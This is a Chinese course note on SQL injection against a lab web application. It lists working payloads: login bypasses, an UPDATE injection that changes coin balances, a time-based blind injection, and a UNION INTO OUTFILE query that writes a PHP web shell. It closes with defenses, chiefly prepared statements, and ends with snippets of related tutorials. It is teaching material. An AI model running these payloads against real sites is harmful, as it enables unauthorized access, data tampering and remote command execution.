Web信息安全实践_6 SQL注入

www.myzoo.com 输入示例

Login

a‘# 用户a登录
a‘ or 1#
a‘ or 1=1#
a‘ and 1;#
d‘ or 1#
a‘ or ‘1 

思考:为什么无密码可以登录?为什么最终登录的都是a?

b‘ or 0;#  用户b登录

profile

a‘, Coins=100 where Username=‘a‘ ;#

User

c‘ union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),benchmark(5000000,encode(‘aaa‘,‘bbbb‘),NULL);#

SQL 注入原理

注入攻击

(1)XSS

  • 用户提交数据,实际上提交的是攻击代码
  • 代码混合在数据中,使得恶意代码获得执行。

(2)SQL 注入

  • 执行攻击者所构造的 SQL 代码
  • 应用接收用户输入,该输入被构造成 SQL 语句并获得执行

a)利用 select

$sql = "select * from Person where Username = ‘$username‘ and Password = ‘$password‘";
$sql = “ select * from Person where Username = ‘a‘ or 1# ‘ and Password = ‘$password‘";

b)利用 update

$sql = "UPDATE Person SET Profile= ‘$profile‘" "WHERE PersonID = ‘$personID‘";
$sql = "UPDATE Person SET Profile= ‘b‘,zoobars=100 where Username=‘b‘;# "WHERE PersonID = ‘$personID‘";

3)利用 select 和 benchmark 语句

$sql = "select * from Person where Username = ‘$username‘
// union:两条select都执行;要求前后select列数相等
$sql = "select * from Person where Username = ‘c‘ union select 1,1,1,1,1,1, if(substring(database(),1,1)=char(119), benchmark(5000000, encode(‘aaa‘,‘bbbb‘)), NULL);#
// 把union查询结果写到文件中
$sql = "select * from Person where Username = ‘d‘ union select 1,1,1,1,1,1,‘<?php system($_GET[cmd]);?>‘ into outfile "/home/web/WebSec/1.php";#
// 写成功条件:知道当前网站根目录;mysql要拥有写权限;网站根目录要允许被其他进程写

SQL注入防御

  • SQL 注入的本质是利用数据注入代码
  • 区分数据和代码
    • 输入过滤和输出转义

过滤特殊符号 (‘ # -- 等)

缺点:可能原本就需要输入带有特殊符号的数据。

开启 magic_quote_gpc:转义特殊符号,把特殊符号当做普通字符

缺点:仍有可能实现SQL注入。

显式区分数据和命令

$stmt = $db->prepare("SELECT * FROM users WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);

原文地址:https://www.cnblogs.com/tianjiazhen/p/12235930.html

时间: 2024-10-29 04:20:57

Web信息安全实践_6 SQL注入的相关文章

Web安全篇之SQL注入攻击

在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问题~ 大家早上好!今天由我给大家带来<web安全之SQL注入篇>系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:       第一讲:"纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理.":       第二讲:"实战演练:我们要在互联网上

渗透实践测试sql注入攻击,本文已提交乌云漏洞平台

工具介绍 此次测试用到已下工具,F4ck工具包,Acunetix Web Vulnerability Scanner 8扫描工具,burpsuite抓包工具,sql注入工具 sqlmap.py ,搜狐浏览器, SwitchySharp 代理工具. 1.首先找到测试网站这里拿http://www.cqys.cn 然后进行Acunetix Web Vulnerability Scanner 8扫描 找到注入点 2.我们就是用sqlmap工具注入 http://www.cqys.cn/view_xwx

web开发中防止SQL注入

一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库. 二.SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不同的服务器和数据库特点进行SQL注入攻击 三.SQL注入攻击实例 比如在一个登录界面,要求输入用户名和密码: 可以这样输入实现免帐号登录: 用户名: 'or 1 = 1 – 密 码: 点登陆,如若没有做特殊处理,那么这个

Web常见安全漏洞-SQL注入

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可能获取数据库乃至系统用户最高权限. 而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码, 程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变, 额外的执行了攻击者精心构造的恶意代码. SQL注入实例 很多Web开发者

web前端安全之SQL注入攻击

一.SQL注入攻击的原理攻击者在HTTP请求中注入恶意的SQL代码,并在服务端执行.比如用户登录,输入用户名camille,密码 ' or '1'='1 ,如果此时使用参数构造的方式,就会出现 select * from user where name = 'camille' and password = '' or '1'='1' 不管用户名和密码是什么,查询出来的用户列表都不为空,这样可以随意看其他用户的信息. 二.SQL注入攻击的防御1.客户端 限制字符串输入的长度: 有效性检验. //过

【渗透测试学习平台】 web for pentester -2.SQL注入

Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23 http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23 http://192.168.91.139/sqli/example1.php?name=root' uni

WEB安全基础之sql注入基础

1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SELECT(@@datadir) 查数据库路径 SELECT(@@version_compile_os) 查系统版本version() 数据库版本load_file() 读文件操作current_user() 当前用户名(可用来查看权限Into outfile() / into dumpfile 写文件

Web信息安全实践_3.4 CSRF防御

错误的CSRF防御方法 (1)只接受 POST 请求 攻击者不能基于链接简单地攻击( IMG ),但是可以使用脚本创建隐藏的 POST 请求 (2)转账需要多步 e.g. 第一个请求转多少个coin,第二个请求转给谁 CSRF 攻击可以按顺序执行每个步骤 (3)检查 Referer Referer Referer报文头是网页请求头的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理. 用户正常转账:请求从

Web信息安全实践_4.0 XSS_知乎1

XSS攻击即为(Cross Site Scripting), 中文为跨站脚本. 之所以它的名字不是CSS而是XSS,是为了区分CSS. XSS攻击是发生在目标用户的浏览器上的,当渲染DOM树的过程中执行了不该执行的JS代码时,就发生了XSS攻击.跨站脚本的重点不是“跨站”,而是“脚本” 页面执行不该执行的JS 我们首先来看一下,页面执行不该执行的JS是什么意思.譬如我们来看这个代码: // 假设有一个自动回答网站:在框内输入一个问题,这个问题是通过$_GET['q']获取的:网站后台接收用户输入